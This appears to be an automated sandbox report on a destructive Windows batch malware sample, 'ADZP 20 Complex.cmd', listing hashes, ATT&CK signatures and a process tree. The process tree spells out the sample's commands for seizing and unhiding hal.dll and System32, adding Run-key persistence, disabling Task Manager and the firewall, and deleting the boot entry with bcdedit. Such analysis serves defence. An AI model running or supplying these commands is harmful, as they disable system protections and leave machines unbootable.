e9a085381e930a6c94b749f0ae8326de23db7f6a7bdb3e9dbb3fb36459f87ede

Analysis

max time kernel
22s
max time network
17s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
24/07/2024, 00:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ADZP 20 Complex.cmd
Size 22KB
Sample240724-aea3dazdkf
SHA256 e9a085381e930a6c94b749f0ae8326de23db7f6a7bdb3e9dbb3fb36459f87ede
MD5 522f0612e270a1fa6b22c21c4f18778d
SHA1 7f904161fce7a2954613305b83e271e1bf366aa7
SHA512 f2b83829c63414b352e78b809f78d2c3fd4f7c7c990248be0ff6ad2f45d42a41e1ad929e399828dfa08683a3a77028f7ef21fae95b71cd15f5bb0b5f3b557b28
SSDEEP 384:2XJdAbrM21q0j0L1qEzdQ8PigfwTxX8PKJWo3yz6pMg:6bAUAW17JQrgodXksMg
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery evasion execution exploit persistence privilege_escalation upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1124	powershell.exe

Disables Task Manager via registry modification
evasion

Drops file in Drivers directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\BrFiltLo.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\nwifi.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\wfplwf.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\ws2ifsl.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\WUDFRd.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\afd.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\amdsata.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\hidir.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\ipnat.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\usbhub.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\wacompen.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\nfrd960.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\tdtcp.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\VMBusHID.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\storport.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\acpipmi.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\fdc.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\modem.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\mspqm.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\partmgr.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\srv.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\acpi.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\ipfltdrv.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\ksthunk.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\nvstor.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\rdpdr.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\tdx.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\vdrvroot.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\arcsas.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\dxgmms1.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\exfat.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\RNDISMP.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\spsys.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\tcpip.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\i8042prt.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\irda.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\smb.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\umpass.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\crcdisk.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\mpio.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\rspndr.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\vga.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\wanarp.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\amdxata.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\netbios.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\npfs.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\CmBatt.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\dumpfve.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\gmreadme.txt	attrib.exe
File opened for modification	C:\Windows\System32\drivers\stream.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\vmbus.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\compbatt.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\intelide.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\ndiscap.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\pcmcia.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\winhv.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\Diskdump.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\dxgkrnl.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\fsdepends.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\iirsp.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\rdbss.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\usbohci.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\amdide.sys	attrib.exe
File opened for modification	C:\Windows\System32\drivers\hidbatt.sys	attrib.exe

Modifies Windows Firewall 2 TTPs 31 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
7184	netsh.exe
8420	netsh.exe
8060	netsh.exe
7788	netsh.exe
9452	Process not Found
13612	Process not Found
14048	Process not Found
2664	netsh.exe
8348	netsh.exe
9448	netsh.exe
5916	netsh.exe
9360	netsh.exe
10228	netsh.exe
2020	netsh.exe
4972	netsh.exe
8368	netsh.exe
7180	netsh.exe
9348	netsh.exe
13464	Process not Found
568	netsh.exe
4864	netsh.exe
8328	netsh.exe
8376	netsh.exe
2256	netsh.exe
6600	netsh.exe
8360	netsh.exe
9184	netsh.exe
4468	netsh.exe
9544	netsh.exe
12524	Process not Found
13444	Process not Found

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
1596	takeown.exe
21284	Process not Found
1552	takeown.exe
4944	icacls.exe
9248	icacls.exe
4944	takeown.exe
5016	icacls.exe
5188	takeown.exe
6400	takeown.exe
8572	icacls.exe
3912	icacls.exe
6404	takeown.exe
7908	icacls.exe
4740	takeown.exe
3396	takeown.exe
184	takeown.exe
9368	takeown.exe
12044	Process not Found
19224	Process not Found
4768	icacls.exe
4796	icacls.exe
4548	icacls.exe
8648	icacls.exe
20932	Process not Found
9232	icacls.exe
12456	Process not Found
16136	Process not Found
16192	Process not Found
8056	takeown.exe
12624	Process not Found
1684	icacls.exe
3272	takeown.exe
3580	takeown.exe
5260	icacls.exe
3692	takeown.exe
3484	icacls.exe
10176	takeown.exe
4796	icacls.exe
19344	Process not Found
18796	Process not Found
3532	takeown.exe
4188	icacls.exe
6980	takeown.exe
12600	Process not Found
8792	takeown.exe
17588	Process not Found
21404	Process not Found
1960	icacls.exe
4512	icacls.exe
4112	takeown.exe
13124	Process not Found
1180	takeown.exe
18808	Process not Found
21196	Process not Found
21372	Process not Found
4176	takeown.exe
4140	takeown.exe
1224	takeown.exe
12324	Process not Found
1272	icacls.exe
5880	takeown.exe
7840	takeown.exe
2232	takeown.exe
4788	icacls.exe

Executes dropped EXE 1 IoCs

pid	Process
1956	Tasksvc.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
7908	icacls.exe
8384	icacls.exe
19224	Process not Found
2044	takeown.exe
1192	takeown.exe
8616	icacls.exe
4840	takeown.exe
3532	takeown.exe
9460	icacls.exe
12624	Process not Found
4008	takeown.exe
4840	takeown.exe
4740	takeown.exe
4896	Process not Found
3580	takeown.exe
4188	icacls.exe
4996	takeown.exe
5260	icacls.exe
8648	icacls.exe
8280	takeown.exe
12348	Process not Found
4444	icacls.exe
2740	takeown.exe
5016	icacls.exe
7868	takeown.exe
9088	takeown.exe
8956	takeown.exe
13124	Process not Found
1980	takeown.exe
4972	icacls.exe
6388	takeown.exe
5888	takeown.exe
4112	takeown.exe
6804	icacls.exe
2420	icacls.exe
3512	icacls.exe
8740	icacls.exe
4444	takeown.exe
2232	takeown.exe
6400	takeown.exe
8004	icacls.exe
9060	takeown.exe
18816	Process not Found
4332	icacls.exe
11148	Process not Found
6404	takeown.exe
8312	takeown.exe
6980	takeown.exe
7236	takeown.exe
8060	icacls.exe
8544	takeown.exe
9020	takeown.exe
11664	Process not Found
3580	icacls.exe
3912	icacls.exe
5968	takeown.exe
8280	takeown.exe
768	takeown.exe
5320	icacls.exe
9624	icacls.exe
19748	Process not Found
9872	takeown.exe
20704	Process not Found
4352	takeown.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000800000001659d-240.dat	upx
behavioral1/memory/1956-251-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral1/memory/1956-253-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1856	certutil.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	format.com
File opened (read-only)	\??\B:	format.com
File opened (read-only)	\??\D:	format.com
File opened (read-only)	\??\E:	format.com
File opened (read-only)	\??\F:	format.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Modifies boot configuration data using bcdedit 25 IoCs

pid	Process
2296	bcdedit.exe
2420	bcdedit.exe
1716	bcdedit.exe
1612	bcdedit.exe
5312	bcdedit.exe
5332	bcdedit.exe
7288	bcdedit.exe
8580	bcdedit.exe
8816	bcdedit.exe
4296	bcdedit.exe
9020	bcdedit.exe
3924	bcdedit.exe
6740	bcdedit.exe
8684	bcdedit.exe
9024	bcdedit.exe
9188	bcdedit.exe
10204	bcdedit.exe
9616	bcdedit.exe
11840	Process not Found
12144	Process not Found
12832	Process not Found
12908	Process not Found
17380	Process not Found
9544	Process not Found
16292	Process not Found

Drops autorun.inf file 1 TTPs 2 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	attrib.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\hal.dll	attrib.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\twain_32.dll	attrib.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Tasksvc.exe

Gathers network information 2 TTPs 25 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
10204	ipconfig.exe
9732	Process not Found
12432	Process not Found
8756	ipconfig.exe
17820	Process not Found
5436	ipconfig.exe
8044	ipconfig.exe
9188	ipconfig.exe
5492	ipconfig.exe
11104	Process not Found
17808	Process not Found
2364	ipconfig.exe
2852	ipconfig.exe
1992	ipconfig.exe
3056	ipconfig.exe
17580	Process not Found
5468	ipconfig.exe
7564	ipconfig.exe
5512	ipconfig.exe
2204	ipconfig.exe
1728	ipconfig.exe
1736	ipconfig.exe
8944	ipconfig.exe
9464	ipconfig.exe
12584	Process not Found

Modifies registry key 1 TTPs 62 IoCs

Modify Registry

T1112

pid	Process
5976	reg.exe
9988	reg.exe
12144	Process not Found
7228	reg.exe
3824	reg.exe
7180	reg.exe
1852	reg.exe
4316	reg.exe
5956	reg.exe
12552	Process not Found
7772	reg.exe
5560	reg.exe
12340	Process not Found
2820	reg.exe
2252	reg.exe
5520	reg.exe
1996	reg.exe
2772	reg.exe
3904	reg.exe
5000	reg.exe
13220	Process not Found
1552	reg.exe
3720	reg.exe
8780	reg.exe
9060	reg.exe
4236	Process not Found
7828	reg.exe
13192	Process not Found
1696	reg.exe
2044	reg.exe
7436	reg.exe
5684	reg.exe
2248	reg.exe
7848	reg.exe
9152	reg.exe
11404	Process not Found
8748	reg.exe
8856	reg.exe
5952	reg.exe
9080	reg.exe
1744	reg.exe
6368	reg.exe
8040	reg.exe
7908	reg.exe
9996	reg.exe
12332	Process not Found
12716	Process not Found
1980	reg.exe
4544	reg.exe
7840	reg.exe
9584	reg.exe
4304	reg.exe
7332	reg.exe
7912	reg.exe
4912	reg.exe
2024	reg.exe
11352	Process not Found
8588	reg.exe
8964	reg.exe
9972	reg.exe
11956	Process not Found
3852	Process not Found

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1956	Tasksvc.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1124	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1180	takeown.exe
Token: 33	2116	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2116	AUDIODG.EXE
Token: 33	2116	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2116	AUDIODG.EXE
Token: SeTakeOwnershipPrivilege	932	takeown.exe
Token: SeTakeOwnershipPrivilege	2464	takeown.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeTakeOwnershipPrivilege	2044	takeown.exe
Token: SeTakeOwnershipPrivilege	2904	takeown.exe
Token: SeTakeOwnershipPrivilege	1716	takeown.exe
Token: SeTakeOwnershipPrivilege	2424	takeown.exe
Token: SeTakeOwnershipPrivilege	2364	takeown.exe
Token: SeTakeOwnershipPrivilege	1596	takeown.exe
Token: SeTakeOwnershipPrivilege	1704	takeown.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2860	mspaint.exe
2696	mspaint.exe
2764	mspaint.exe
2764	mspaint.exe
2696	mspaint.exe
2860	mspaint.exe
2764	mspaint.exe
2764	mspaint.exe
2860	mspaint.exe
2696	mspaint.exe
2860	mspaint.exe
2696	mspaint.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 1856	2524	cmd.exe	30
PID 2524 wrote to memory of 1856	2524	cmd.exe	30
PID 2524 wrote to memory of 1856	2524	cmd.exe	30
PID 2524 wrote to memory of 1956	2524	cmd.exe	31
PID 2524 wrote to memory of 1956	2524	cmd.exe	31
PID 2524 wrote to memory of 1956	2524	cmd.exe	31
PID 2524 wrote to memory of 1956	2524	cmd.exe	31
PID 2524 wrote to memory of 1180	2524	cmd.exe	33
PID 2524 wrote to memory of 1180	2524	cmd.exe	33
PID 2524 wrote to memory of 1180	2524	cmd.exe	33
PID 2524 wrote to memory of 2420	2524	cmd.exe	34
PID 2524 wrote to memory of 2420	2524	cmd.exe	34
PID 2524 wrote to memory of 2420	2524	cmd.exe	34
PID 2524 wrote to memory of 2404	2524	cmd.exe	35
PID 2524 wrote to memory of 2404	2524	cmd.exe	35
PID 2524 wrote to memory of 2404	2524	cmd.exe	35
PID 2524 wrote to memory of 932	2524	cmd.exe	37
PID 2524 wrote to memory of 932	2524	cmd.exe	37
PID 2524 wrote to memory of 932	2524	cmd.exe	37
PID 2524 wrote to memory of 1272	2524	cmd.exe	38
PID 2524 wrote to memory of 1272	2524	cmd.exe	38
PID 2524 wrote to memory of 1272	2524	cmd.exe	38
PID 2524 wrote to memory of 272	2524	cmd.exe	39
PID 2524 wrote to memory of 272	2524	cmd.exe	39
PID 2524 wrote to memory of 272	2524	cmd.exe	39
PID 2524 wrote to memory of 448	2524	cmd.exe	40
PID 2524 wrote to memory of 448	2524	cmd.exe	40
PID 2524 wrote to memory of 448	2524	cmd.exe	40
PID 2524 wrote to memory of 1744	2524	cmd.exe	41
PID 2524 wrote to memory of 1744	2524	cmd.exe	41
PID 2524 wrote to memory of 1744	2524	cmd.exe	41
PID 2524 wrote to memory of 1696	2524	cmd.exe	42
PID 2524 wrote to memory of 1696	2524	cmd.exe	42
PID 2524 wrote to memory of 1696	2524	cmd.exe	42
PID 2524 wrote to memory of 2020	2524	cmd.exe	43
PID 2524 wrote to memory of 2020	2524	cmd.exe	43
PID 2524 wrote to memory of 2020	2524	cmd.exe	43
PID 2524 wrote to memory of 2296	2524	cmd.exe	44
PID 2524 wrote to memory of 2296	2524	cmd.exe	44
PID 2524 wrote to memory of 2296	2524	cmd.exe	44
PID 2524 wrote to memory of 1124	2524	cmd.exe	45
PID 2524 wrote to memory of 1124	2524	cmd.exe	45
PID 2524 wrote to memory of 1124	2524	cmd.exe	45
PID 2524 wrote to memory of 1796	2524	cmd.exe	47
PID 2524 wrote to memory of 1796	2524	cmd.exe	47
PID 2524 wrote to memory of 1796	2524	cmd.exe	47
PID 2524 wrote to memory of 2156	2524	cmd.exe	48
PID 2524 wrote to memory of 2156	2524	cmd.exe	48
PID 2524 wrote to memory of 2156	2524	cmd.exe	48
PID 2524 wrote to memory of 2364	2524	cmd.exe	179
PID 2524 wrote to memory of 2364	2524	cmd.exe	179
PID 2524 wrote to memory of 2364	2524	cmd.exe	179
PID 2524 wrote to memory of 1596	2524	cmd.exe	108
PID 2524 wrote to memory of 1596	2524	cmd.exe	108
PID 2524 wrote to memory of 1596	2524	cmd.exe	108
PID 1796 wrote to memory of 2464	1796	cmd.exe	52
PID 1796 wrote to memory of 2464	1796	cmd.exe	52
PID 1796 wrote to memory of 2464	1796	cmd.exe	52
PID 2524 wrote to memory of 652	2524	cmd.exe	53
PID 2524 wrote to memory of 652	2524	cmd.exe	53
PID 2524 wrote to memory of 652	2524	cmd.exe	53
PID 2524 wrote to memory of 2060	2524	cmd.exe	54
PID 2524 wrote to memory of 2060	2524	cmd.exe	54
PID 2524 wrote to memory of 2060	2524	cmd.exe	54

Views/modifies file attributes 1 TTPs 64 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6724	attrib.exe
8800	attrib.exe
19900	Process not Found
3232	attrib.exe
768	attrib.exe
8196	attrib.exe
15872	Process not Found
16536	Process not Found
4780	attrib.exe
4696	attrib.exe
6668	attrib.exe
3836	attrib.exe
5520	attrib.exe
8732	attrib.exe
10236	attrib.exe
7084	attrib.exe
6660	attrib.exe
9856	attrib.exe
12540	Process not Found
10028	Process not Found
4808	attrib.exe
7248	attrib.exe
17124	Process not Found
3852	attrib.exe
3396	attrib.exe
7868	attrib.exe
940	attrib.exe
3396	attrib.exe
4872	attrib.exe
6400	attrib.exe
8516	attrib.exe
8660	attrib.exe
18020	Process not Found
272	attrib.exe
5204	attrib.exe
8332	attrib.exe
948	attrib.exe
1596	attrib.exe
1552	attrib.exe
2500	attrib.exe
4880	attrib.exe
7776	attrib.exe
10232	attrib.exe
21348	Process not Found
3912	attrib.exe
6108	Process not Found
2852	attrib.exe
4884	attrib.exe
4132	attrib.exe
4780	attrib.exe
4176	attrib.exe
7900	attrib.exe
8052	attrib.exe
8320	attrib.exe
2404	attrib.exe
5020	attrib.exe
6652	attrib.exe
8452	attrib.exe
9124	attrib.exe
7780	attrib.exe
4548	attrib.exe
8788	attrib.exe
8880	attrib.exe
9704	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
1⤵
- Drops autorun.inf file
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\system32\certutil.exe
  certutil -decode "Bytebeat.sk" "Tasksvc.exe"
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1856
- C:\Users\Admin\AppData\Local\Temp\Tasksvc.exe
  "Tasksvc.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:1956
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\System32\hal.dll"
  2⤵
  - Possible privilege escalation attempt
  - Suspicious use of AdjustPrivilegeToken
  PID:1180
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\System32\hal.dll" /reset /c /q
  2⤵
  PID:2420
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\System32\hal.dll"
  2⤵
  - Drops file in System32 directory
  - Views/modifies file attributes
  PID:2404
- C:\Windows\system32\takeown.exe
  takeown /f "C:\Windows\Twain_32.dll"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:932
- C:\Windows\system32\icacls.exe
  icacls "C:\Windows\Twain_32.dll" /reset /c /q
  2⤵
  - Possible privilege escalation attempt
  PID:1272
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h "C:\Windows\Twain_32.dll"
  2⤵
  - Drops file in Windows directory
  - Views/modifies file attributes
  PID:272
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
  2⤵
  PID:448
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1744
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  - Modifies registry key
  PID:1696
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2020
- C:\Windows\system32\bcdedit.exe
  bcdedit /delete {current}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\MouseMove.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K Taskdl.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32" /r
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2464
- C:\Windows\system32\wscript.exe
  WScript Informacion.vbs
  2⤵
  PID:2156
- C:\Windows\system32\ipconfig.exe
  ipconfig /release
  2⤵
  - Gathers network information
  PID:2364
- C:\Windows\system32\attrib.exe
  attrib -r -a -s -h *.*
  2⤵
  - Drops autorun.inf file
  - Views/modifies file attributes
  PID:1596
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:652
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:2060
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:2084
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:2572
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:1648
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:316
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:2260
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:2472
- C:\Windows\system32\wscript.exe
  WScript ErrorCritico.vbs
  2⤵
  PID:3036
- C:\Windows\system32\wscript.exe
  WScript Advertencia.vbs
  2⤵
  PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:2828
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2424
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    PID:372
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    - Views/modifies file attributes
    PID:2500
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Possible privilege escalation attempt
    - Suspicious use of AdjustPrivilegeToken
    PID:1596
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    PID:2728
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    PID:2736
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:1020
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2252
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:1980
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:568
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:2916
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Possible privilege escalation attempt
      PID:3692
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:2896
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:1992
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    - Views/modifies file attributes
    PID:2852
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3440
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3752
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3780
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3796
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3816
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3840
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3856
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3872
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3880
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3972
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:5048
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:4768
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:4132
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Possible privilege escalation attempt
      PID:4944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:3912
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:4176
